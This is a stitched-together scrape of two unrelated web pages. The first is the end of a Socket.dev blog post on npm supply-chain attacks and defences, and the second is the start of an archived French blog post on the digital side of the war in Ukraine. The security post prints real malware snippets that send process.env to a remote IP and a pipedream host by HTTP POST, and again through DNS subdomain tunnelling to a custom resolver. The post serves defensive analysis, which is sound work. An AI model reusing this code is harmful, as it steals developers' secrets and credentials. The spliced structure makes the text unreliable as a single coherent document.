<span class="hljs-attr">host</span>: <span class="hljs-string">'34.195.72.180'</span>, | |||
<span class="hljs-attr">path</span>: <span class="hljs-string">'/'</span>, | |||
<span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>, | |||
<span class="hljs-attr">headers</span>: { | |||
<span class="hljs-attr">host</span>: <span class="hljs-string">'411c316239cf14afaa1f37bbc5666207.m.pipedream.net'</span>, | |||
<span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ | |||
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36'</span> | |||
} | |||
}) | |||
.on(<span class="hljs-string">'error'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{}) | |||
req.write(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(process.env)).toString(<span class="hljs-string">'base64'</span>)) | |||
req.end() | |||
</code></pre> | |||
<p>You can see that the malware collects the environment variables via | |||
<code>process.env</code> and then makes an HTTP request to exfiltrate the data to an IP | |||
address.</p> | |||
<p>But this malware also uses a backup exfiltration technique:</p> | |||
<h3><code>dns.js</code></h3> | |||
<pre><code class="hljs language-js"><span class="hljs-keyword">var</span> { Resolver } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'dns'</span>) | |||
<span class="hljs-keyword">var</span> zlib = <span class="hljs-built_in">require</span>(<span class="hljs-string">'zlib'</span>) | |||
<span class="hljs-keyword">var</span> resolver = <span class="hljs-keyword">new</span> Resolver() | |||
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">splitString</span>(<span class="hljs-params">string, size</span>) </span>{ | |||
<span class="hljs-keyword">var</span> re = <span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(<span class="hljs-string">'.{1,'</span> + size + <span class="hljs-string">'}'</span>, <span class="hljs-string">'g'</span>) | |||
<span class="hljs-keyword">return</span> string.match(re) | |||
} | |||
resolver.setServers([<span class="hljs-string">'165.232.68.239'</span>]) | |||
<span class="hljs-keyword">var</span> d = process.env || {} | |||
<span class="hljs-keyword">var</span> data = redactedForBrevity() | |||
<span class="hljs-keyword">var</span> encData = zlib | |||
.brotliCompressSync(Buffer.from(<span class="hljs-built_in">JSON</span>.stringify(data))) | |||
.toString(<span class="hljs-string">'hex'</span>) | |||
<span class="hljs-keyword">var</span> ch = splitString(encData, <span class="hljs-number">60</span>) | |||
<span class="hljs-keyword">var</span> dt = <span class="hljs-built_in">Date</span>.now() | |||
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i < ch.length; i++) { | |||
<span class="hljs-keyword">const</span> domain = [<span class="hljs-string">'l'</span> + dt, i + <span class="hljs-number">1</span>, ch.length, ch[i]].join(<span class="hljs-string">'.'</span>) | |||
resolver.resolve4(domain, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">err</span>) </span>{}) | |||
} | |||
</code></pre> | |||
<p>In addition to HTTP, it uses DNS to send the data to the attacker. This is | |||
useful when an firewall is present since these often don't block DNS lookups.</p> | |||
<p>To pull this off, the attacker uses a custom DNS resolver and puts the | |||
environment variables they're stealing into a subdomain.</p> | |||
<p>And finally, our last attack technique...</p> | |||
<h2>6. Obfuscation</h2> | |||
<p>We already saw an example of this before. Obfuscated code makes it hard to audit code and decipher what it is doing. This can be used to hide malicious code from tools which use static analysis, such as <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, although we have techniques to detect obfuscation and we use that as a strong negative signal.</p> | |||
<p>Another type of obfuscation is when attackers publish different code to npm than | |||
they publish on GitHub. When they do that, npm doesn't make it easy to see what | |||
code is actually in the npm package, and so a lot of people who are trying to | |||
evaluate a package will rely on the version of the code that's on GitHub. | |||
There's no guarantee that the code on GitHub is the same as the code on npm.</p> | |||
<p>Now let's talk about how you can protect your app.</p> | |||
<h2>How can you protect your app from supply chain attacks?</h2> | |||
<p>We asked ourselves this question when we were working on | |||
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app">Wormhole<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>, which lets you share files with end-to-end | |||
encryption. Our goal was to make Wormhole the best way to send files, combining the usability of a web app with <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app/security">best-in-class security<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a>.</p> | |||
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://wormhole.app"></a> | |||
<p>As the frequency of npm supply chain attacks increased throughout 2021, we became concerned about the safety of our dependencies.</p> | |||
<p>We realized we needed to improve the way we vet our open source dependencies or else we would be leaving our user's security and privacy to chance. We didn't feel comfortable telling people to trust our service with their most precious data when malware could be lurking in any dependency update.</p> | |||
<p>We started thinking carefully about this problem space and started building | |||
solutions. Here are some of the things we did, and what you can do too:</p> | |||
<h2>1. Change the way you think about dependencies</h2> | |||
<p>As an industry, we need a mindset shift around the way we use dependencies. Too | |||
many developers assume they can just install open source code from the internet | |||
and, barring bugs, it will always do what it says on the tin. Unfortunately, as | |||
we've seen, this just isn't true.</p> | |||
<p>Open source is like an all-you-can-eat buffet – no one will stop you from | |||
scooping an unlimited number of dependencies onto your plate. Of course, like a | |||
buffet, there are health consequences to overindulging. You take a small hit | |||
with each dependency you install.</p> | |||
<p>If you're shipping code to production that includes open source code, then you must treat the open source code as part of your app. You are ultimately responsible for the behavior of that code.</p> | |||
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>You are responsbile for the code that you ship to production, whether you | |||
wrote it or it comes from open source.</p></aside></div></div> | |||
<p>The most popular open source license, the MIT license, actually literally says | |||
this:</p> | |||
<blockquote> | |||
<p><strong>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED</strong>, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. <strong>IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY</strong>, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p> | |||
</blockquote> | |||
<p>Most developers don't think of open source this, way but it's actually how it works.</p> | |||
<h2>2. Dig deeper than the README</h2> | |||
<p>Many developers rely on heuristics to determine if a package is good:</p> | |||
<ul> | |||
<li>✅ Does it get the job done?</li> | |||
<li>✅ Does it have good docs?</li> | |||
<li>✅ Does it have lots of downloads and GitHub stars?</li> | |||
<li>✅ Does it have recent commits?</li> | |||
<li>✅ Does it have tests? Types?</li> | |||
</ul> | |||
<p>Checking for these things is good, but it's not enough to stop supply chain | |||
attacks. To stop attacks, you must dig deeper.</p> | |||
<p>We built a tool called <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a> to help you do this.</p> | |||
<p>We built Socket to look for the markers present in the recent npm supply chain | |||
attacks (as discussed above). Unlike other tools such as Snyk or Dependabot, | |||
Socket analyzes the actual <strong>behavior</strong> of a package instead of relying on stale | |||
data from a known vulnerability (CVE) database. This way, we can detect and | |||
block attacks before they've been discovered by the community.</p> | |||
<p>You can use Socket to quickly evaluate the security of a package:</p> | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"></a> | |||
<p>In this example, you can see that <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/bufferutil"><code>bufferutil</code></a> | |||
contains install scripts. It's called out prominently at the top of the page, | |||
along with a link to the exact code that will run when you run <code>npm install bufferutil</code>. | |||
In this instance, <code>bufferutil</code>'s use of install scripts is legitimate, but it's | |||
nice to be able to know <em>before</em> you run <code>npm install bufferutil</code> that code will | |||
be immedately executed, as well as what that code will do, so that you can make an informed decision about whether to proceed.</p> | |||
<p>You'll also notice helpful Package Health scores at the top of the page.</p> | |||
<p>Now let's take a look at another example:</p> | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar"></a> | |||
<p>The package <code>angular-calendar</code> is quite a useful package. It's a calendar | |||
web component that renders a little calendar widget.</p> | |||
<p>But, if you dig into its dependencies, you'll actually find that some of them have behavior that is potentially concerning:</p> | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/angular-calendar/issues"></a> | |||
<p>You can see here that one of <code>angular-calendar</code>'s dependencies contains install scripts, runs shell scripts, accesses the file system, and accesses the network.</p> | |||
<p>This is probably not something that you would expect a web component to be doing, and so it may be worth some further investigation to figure out what's going on | |||
here before you use this package.</p> | |||
<p>Fortunately, Socket makes it easy to see which code is triggering a security issue. Just click any issue to jump straight to the line of code that is causing the issue.</p> | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/@scarf/scarf/files/1.1.1/report.js"></a> | |||
<p>In this example, you can see the exact line of code where this package accesses the network, the shell, the filesystem, environment variables, and more.</p> | |||
<p>Socket makes it easy to get an idea of what a package will do <em>before you install it</em>.</p> | |||
<p>If you want to research packages on Socket to make an informed decision before | |||
you install them, you can do that by visiting <a class="chakra-link css-f4h6uy" href="https://socket.dev/">socket.dev</a>. | |||
Pro-tip: you can use our handy shortcut and just visit | |||
<code>socket.dev/<package-name></code> to go straight to a package page. For example, try | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/fastify">socket.dev/fastify</a>.</p> | |||
<h2>3. Update your dependencies at the right cadence</h2> | |||
<p>How quickly should you update your dependencies? This is a question that a lot of teams, including our own, struggled with.</p> | |||
<p>Should you err on the side of updating slowly or quickly?</p> | |||
<p>If you <strong>update slowly</strong> you're exposed to <strong>known vulnerabilities</strong> and you're running code that's old and may have bugs that have been fixed in a newer version. Not only that, if a security vulnerability is discovered in the future, being on a super old version will make it harder to update to take the security fix.</p> | |||
<p>On the other hand, if you <strong>update quickly</strong> you expose yourself to <strong>supply chain attacks</strong> because you're now running code that may have been published <em>literally hours ago</em> which means that very few, if any, eyeballs have had a chance to look at the code.</p> | |||
<p>This is a hard tradeoff to balance. Different teams will make different decisions.</p> | |||
<p>However, you can use Socket to help. With the Socket | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, you can accept most dependency updates quickly – | |||
those where the package's capabilities have not changed – while reserving time | |||
to review more significant updates. This way you can spend your limited team | |||
resources auditing the highest-impact dependency updates, instead of choosing an | |||
all-or-nothing approach.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection | |||
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the | |||
GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>4. Audit your dependencies</h2> | |||
<p>How closely should you audit a dependency before allowing it into your app?</p> | |||
<p>One option is to do a <strong>full audit</strong> – literally read every line of code in | |||
every dependency. Google is known to do a full audit and then to vendor their | |||
open source dependencies. This is great for preventing supply chain attacks but | |||
it takes a full-time team to manage this – the audits, the updates, the | |||
allowlist, applying critical security patches – and even still, Google is | |||
usually several major versions behind for most libraries. This approach is out | |||
of reach for all but the largest companies or the most security-critical | |||
applications (e.g. crypto wallets). It's lots of work, it's slow, it's | |||
expensive.</p> | |||
<p>On the other hand, <strong>doing nothing</strong> is also an option – and it's the one that | |||
most teams take. On most teams, any developer can install any dependency they | |||
want to get the job done. Most of the time, no one on the team even looks at the | |||
code in these dependencies before approving the pull request. As you might | |||
expect, this approach leaves you completely vulnerable to supply chain attacks, | |||
it's risky, and it can be expensive, albeit in the form of breaches, bad press, | |||
and government fines.</p> | |||
<p>Without tooling, this is a hard tradeoff to manage, which explains why most teams just do nothing.</p> | |||
<p>However, Socket can help here too. With the Socket <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, | |||
you can accept most dependency updates without auditing the code – especially if | |||
there are no issues detected by Socket – while reserving time to review packages | |||
which have risky behavior such as using <code>eval()</code>, or that contain obscuted code. | |||
Socket helps you spend your limited team resources auditing the highest-impact | |||
dependency updates, instead of choosing an all-or-nothing approach.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection | |||
only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the | |||
GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>Find the happy medium with Socket</h2> | |||
<p>You don't need to throw your hands up in exasperation and do nothing about supply chain risk. We built Socket to be the antidote to an all-or-nothing approach.</p> | |||
<p>With the Socket approach:</p> | |||
<ul> | |||
<li>Use automation to automatically evaluate all dependencies</li> | |||
<li>Detect and block attacks such as malware, hidden code, typo-squatting, etc.</li> | |||
<li>Have humans manually audit suspicious packages (i.e. new capabilities added)</li> | |||
<li>Provide security information directly in pull request comments</li> | |||
</ul> | |||
<h2>How to use Socket today</h2> | |||
<p>You can install Socket as a <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>. It will automatically evaluate all changes to <code>package.json</code> and other “package manifest” files such as <code>package-lock.json</code> and <code>yarn.lock</code>. Whenever a new dependency is added in a pull request, Socket will evaluate it and leave a comment indicating if it is a security risk.</p> | |||
<p>For example, say that you accidentally installed <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> instead of <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserslist"><code>browserslist</code></a>, a very easy mistake to make. Socket will detect this and leave a comment in the pull request:</p> | |||
<a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations"></a> | |||
<p>With the Socket GitHub App in place, the developer who opened the pull request | |||
(or the developer reviewing it) will have their attention drawn to this | |||
typosquat issue. Socket doesn't get in the way, but it does augment your review | |||
process.</p> | |||
<p>Before we started building Socket, I | |||
<a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://github.com/preactjs/preact-cli/pull/1576">found this exact typosquat issue<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> in the popular <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/preact"><code>preact</code></a> package. It's an easy mistake to | |||
make, and that's probably why <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/package/browserlist"><code>browserlist</code></a> | |||
continues to be downloaded 15,000 times each week.</p> | |||
<p>This particular example with <code>browserlist</code> is not unique. There are hundreds of | |||
thousands of npm packages within 1-2 characters of each other, so this is a very | |||
easy mistake to make. Typosquatting is one of the most common supply chain | |||
attack vectors.</p> | |||
<p>Socket has <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">60 detections</a> in five different categories – supply | |||
chain risk, quality, maintenance, known vulnerabilities, and license. Each of | |||
these issues won't immediately trigger an alert. Rather, we use each of these | |||
issues as one signal into supply chain risk formula that determines whether we | |||
will raise an issue to your attention. Socket aims to only raises high signal | |||
issues that are worth your precious time and attention.</p> | |||
<p>If you decide to <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">install the Socket GitHub App</a>, we're eager for | |||
your feedback. Please join our Discord (link in the footer) or <a class="chakra-link css-f4h6uy" href="https://socket.dev/contact">send us an email</a>.</p> | |||
<blockquote> | |||
<p>Socket is in beta. This GitHub App currently supports typosquat detection only. The <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/issue">remaining detections</a> will become available within the GitHub App by end of March.</p> | |||
</blockquote> | |||
<h2>How much will Socket cost?</h2> | |||
<p>Open source package search with Socket Package Health Scores are <strong>free to | |||
everyone</strong> on our website, <a class="chakra-link css-f4h6uy" href="https://socket.dev/">https://socket.dev</a>.</p> | |||
<p>Socket integrations, such as the <a class="chakra-link css-f4h6uy" href="https://socket.dev/integrations">GitHub App</a>, are <strong>free for open source repositories, forever</strong>. For private repositories, Socket is free while we're in beta. We're still working out pricing; we're aiming to keep it affordable so every team can get protected.</p> | |||
<h2>We can improve supply chain security, together!</h2> | |||
<p>The open source ecosystem faces an unprecedented supply chain security threat but all hope is not lost. As developers, we can take responsibility for our software supply chain and help make the world a safer place.</p> | |||
<p>P.S. We're hiring at Socket! Check out our <a class="chakra-link css-f4h6uy" href="https://socket.dev/jobs">jobs page</a> if you're | |||
interested in working to secure the software supply chain.</p> |
@@ -0,0 +1,304 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle. (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.affordance.info/mon_weblog/2022/02/guerre-ukraine-numerique.html"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle.</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.affordance.info/mon_weblog/2022/02/guerre-ukraine-numerique.html" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>Il y a déjà de longues années, je présentais le média Twitter <a href="https://iutlaroche.univ-nantes.fr/formation/nos-formations/but-information-et-communication" rel="noopener" target="_blank">à mes étudiant.e.s</a> en leur expliquant qu'il était vital de s'y intéresser car s'y donnaient à voir non seulement des informations vitales mais aussi à valeur patrimoniale que l'on se devait de suivre attentivement et, pour certaines d'entre elles, de s'efforcer de conserver. Et je prenais ce qui semblait alors assez surréaliste et baroque, <a href="https://affordance.typepad.com/mon_weblog/2012/11/cest-la-guerre-sur-twitter.html" rel="noopener" target="_blank">l'une des premières "déclarations du guerre" ce faisant exclusivement via ce média</a>. C'était le 14 novembre 2012, et <a href="https://twitter.com/IDF/status/268722403989925888" rel="noopener" target="_blank">le compte Twitter officiel de l'armée Israëlienne annonçait lancer des frappes sur le peuple palestinien vivant dans la bande de Gaza</a>.</p> | |||
<p>Depuis cette première déclaration de guerre via Twitter, les choses ont énormément changé et c'est l'écosystème numérique dans son entier, avec au premier plan les grande plateformes sociales, qui jouent un rôle déterminant, à la fois dans des opérations de désinformation ou de propagande, mais aussi plus globalement sur le plan géostratégique et géopolitique.</p> | |||
<p>Il y a 10 ans de cela, déclarer la guerre sur Twitter était une anomalie. Aujourd'hui et avec la guerre aux portes de l'Europe en Ukraine, l'anomalie serait d'imaginer une guerre sans Twitter.</p> | |||
<p>A partir de ce que révèle chaque jour la guerre en Ukraine, je veux dans cet article essayer de faire un point, forcément provisoire, sur ce qui se joue lors d'une guerre dans, par, grâce et à cause des grands écosystèmes numériques et de leur écho médiatique et géopolitique.</p> | |||
<h2>La guerre des images.</h2> | |||
<p>D'abord il y a la guerre de l'émotion et de la propagande, qui marchent toujours ensemble et qui valent tant pour les agresseurs que pour les agressés. Les médias sociaux (lorsque leur accès est encore possible et relativement "libre" pour les populations civiles), les médias sociaux sont les maîtres du tempo émotionnel de la viralisation de séquences qui, si elles ne décident jamais de l'issue d'un conflit, sont en capacité d'agir sur les opinions locales comme internationales. On pourra ici, sans prétendre à l'exhaustivité, en citer quelques-unes parmi les plus marquantes.</p> | |||
<p><strong>La guerre des images.</strong> L'image de ce jeune couple ukrainien en arme. Déjà iconique et déjà déclinée dans tant de versions, assortie de tant de hashtags. Qui convoque immédiatement la phrase réflexe. Ils feront l'amour <em>et aussi</em> la guerre.</p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef0278806d9a68200d-pi"><img alt="FMiPOeMWQAIzj5b" class="asset asset-image at-xid-6a00d8341c622e53ef0278806d9a68200d img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef0278806d9a68200d-500wi" title="FMiPOeMWQAIzj5b"></a></p> | |||
<p><strong>Et puis il y a les mots.</strong> Les vidéo "live" du <a href="https://www.youtube.com/watch?v=p-zilnPtZ2M" rel="noopener" target="_blank">président Zelinski et de son discours de 9 minutes au lendemain de l'annonce de l'entrée des troupes russes</a>. Un discours d'une force et d'une puissance assez extraordinaire et qui achève de lui conférer, en tout cas pour celles et ceux qui le découvrent à cette occasion, une stature de chef d'état dépassant les caricatures que l'on faisait de lui lorsqu'on ne retenait de son accession au pouvoir que les fait qu'il était un ancien acteur comique ayant incarné dans une série, le rôle du président Ukrainien. </p> | |||
<p>Il y a aussi cette autre vidéo, toujours du président Zelinski, où il prouve qu'il n'a pas fui et n'a pas été abattu en se filmant la veille de l'attaque nocturne sur Kiev avec des membres de son gouvernement. Vidéo qui est devenue virale et <a href="https://twitter.com/SaoSasha/status/1497311531041640450" rel="noopener" target="_blank">que l'on voit circuler avec différents montages musicaux</a> visant à la transformer en outil de propagande.</p> | |||
<p>Chacune des apparitions de Zelinski est bien sûr scrutée, mais son expression publique sur les médias sociaux est, <a href="https://www.linkedin.com/feed/update/urn:li:activity:6903380771646574592/" rel="noopener" target="_blank">comme l'analyse Romain Pigenel</a>, un cas d'école : </p> | |||
<blockquote> | |||
<p><em>"Cas d'école (...) de communication asymétrique, puisque ce système de communication est à la fois plus agile, et en définitive plus performant, que tout un appareil de propagande classique - sous réserve, bien sûr, du libre accès de ses "cibles" potentielles à Internet. En outre, chaque vidéo contribue à l'augmentation exponentielle de son nombre d'abonnés, et donc de soutiens potentiels (ou au moins de témoins) à sa cause.</em></p> | |||
<p><em>Rappelons que le président ukrainien est un expert du genre, et qu'il s'était fait élire en 2019 par une campagne présidentielle atypique, reposant sur ... les réseaux sociaux et ses vidéos."</em></p> | |||
</blockquote> | |||
<p><a href="https://twitter.com/ZelenskyyUa" rel="noopener" target="_blank">Son compte Twitter</a> comptait Samedi 26 Février plus de 2,8 millions de followers (3,4 millions ce dimanche soir). Il semble s'efforcer de continuer à poster très régulièrement, à la fois en ukrainien et en anglais, principalement pour attester d'une narration diplomatique des contacts qu'il continue de nouer avec différents états. La vidéo du 26 février à 7h du matin qu'il poste <a href="https://twitter.com/ZelenskyyUa/status/1497450853380280320" rel="noopener" target="_blank">pour prouver qu'il est toujours vivant et présent sur place</a>, comptait samedi soir plus de 16 millions de vues. Ces tweets sont aussi une pulsation particulière, comme celle d'une ligne de vie, celle d'une preuve de vie. Et lorsque ce rythme ralentit ou s'interrompt, chacun s'interroge.</p> | |||
<p>Par le témoignage des journalistes et correspondants locaux sur place, chacun mesure qu'il n'y a chez Zelinski nulle forfanterie mais qu'il faut un courage singulier pour tenir ces discours et diffuser ces preuves de présence, lors même qu'il se sait la cible numéro 1 des armées de Poutine (<a href="https://www.thetimes.co.uk/article/volodymyr-zelensky-russian-mercenaries-ordered-to-kill-ukraine-president-cvcksh79d" rel="noopener" target="_blank">dont les mercenaires de la force Wagner</a>), et qu'il mesure parfaitement qu'en dehors d'un soutien logistique en armes et équipements défensifs, aucun pays ne lui viendra en aide par l'envoi de troupes. Son courage est d'autant plus flagrant que sa solitude et celle des citoyens ukrainiens semble absolue sur le plan militaire.</p> | |||
<h2>La guerre en sources ouvertes.</h2> | |||
<p>Dans le flot continu des images qui se propagent sur les médias sociaux à l'occasion de chaque conflit dans le monde, la part des éléments de désinformation est une constante. Car les guerres se ressemblent toutes. Alors on y revoit toujours circuler des images de conflits anciens dont il est presque impossible de déterminer, sans un temps d'analyse, si elles sont, premièrement authentiques, et deuxièmement, un témoignage de ce qui se passe actuellement en Ukraine. </p> | |||
<p>Chacun, citoyen ou journaliste, Ukrainien ou étranger, présent sur place, est en mesure de documenter le conflit qu'il traverse, vit et éprouve. Mais chacun d'entre nous, à distance, dans le flot continu des partages de comptes qui nous ne suivons habituellement pas, n'est pas en mesure de trier <em>a priori</em> le bon grain de l'ivraie, les témoignages authentiques et les éléments de désinformation, qu'ils soient d'ailleurs volontairement publiés ou accidentellement repris.</p> | |||
<p>D'où l'intérêt d'initiatives comme celle de <a href="https://twitter.com/StevenJambot/status/1496901518183833604" rel="noopener" target="_blank">Steven Jambot qui publie et maintient à jour une liste des comptes authentifiés de journalistes de médias francophones envoyés spéciaux en Ukraine</a> ; mais aussi ou celles d'autres journalistes ou activistes que l'on dit spécialisés "OSINT" (Open Source INTelligence), c'est à dire avec l'habitude de travailler à partir de sources ouvertes, même si là encore la prudence est de mise comme on l'a vu à propos des <a href="https://twitter.com/vincentglad/status/1496779204498763780" rel="noopener" target="_blank">supposées métadonnées permettant de dater les discours (et les intentions) d'entrée en guerre de Poutine</a> avant que la guerre ne soit effectivement déclarée. On signalera également la liste agrégée par <a href="https://twitter.com/i/lists/1497480890028634120" rel="noopener" target="_blank">Bluetouff et qui rassemble plus d'une centaine de sources diplomatiques</a>.</p> | |||
<h2>WikipéWar</h2> | |||
<p>Impossible de ne pas évoquer le rôle central que joue aujourd'hui Wikipédia dans l'actualisation et la documentation en temps réel des situations de conflit. Et la guerre en Ukraine en fournit chaque jour des exemples. Fabricio Cardenas, un des administrateurs de l'encyclopédie, <a href="https://twitter.com/bibliofab66/status/1496785203502600192" rel="noopener" target="_blank">expliquait</a> ainsi le 24 février :</p> | |||
<blockquote> | |||
